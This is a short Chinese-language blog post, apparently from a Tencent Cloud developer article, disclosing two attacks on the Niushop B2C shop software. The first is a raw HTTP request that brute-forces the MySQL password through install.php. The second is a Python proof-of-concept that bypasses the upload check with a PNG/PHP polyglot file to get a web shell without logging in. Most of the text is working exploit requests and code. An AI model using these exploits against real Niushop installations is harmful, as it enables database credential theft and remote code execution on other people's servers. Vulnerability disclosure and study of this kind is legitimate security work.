安装爆破MySQL密码
代码语言：javascript复制GET /niushop/install.php?action=true&dbserver=127.0.0.1&dbpassword=root2&dbusername=root&dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Referer: http://127.0.0.1/niushop/install.php?refresh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: action=db
Connection: close
爆破成功返回1，密码错误返回0
getshell
上传图片只做了前端校验，抓包改后缀即可绕过。
对文件内容做了检查，文件大小不能过大或过小，合成马最好放到中间。
请求包截图，删除不必要的参数仍旧能够上传。
所以导致前台getshell
PoC
代码语言：javascript复制import requests
session = requests.Session()
paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "x89PNGrnx1anx00x00x00rIHDRx00x00x00x01x00x00x00x01x08x06x00x00x00x1fx15xc4x89x00x00x00x0bIDATx08x99cxf8x0fx04x00x09xfbx03xfdxe3Uxf2x9cx00x00x00x00IENDxaeB`x82<? php phpinfo(); ?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)版权属于：逍遥子大表哥
本文链接：https://cloud.tencent.com/developer/article/1920684
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
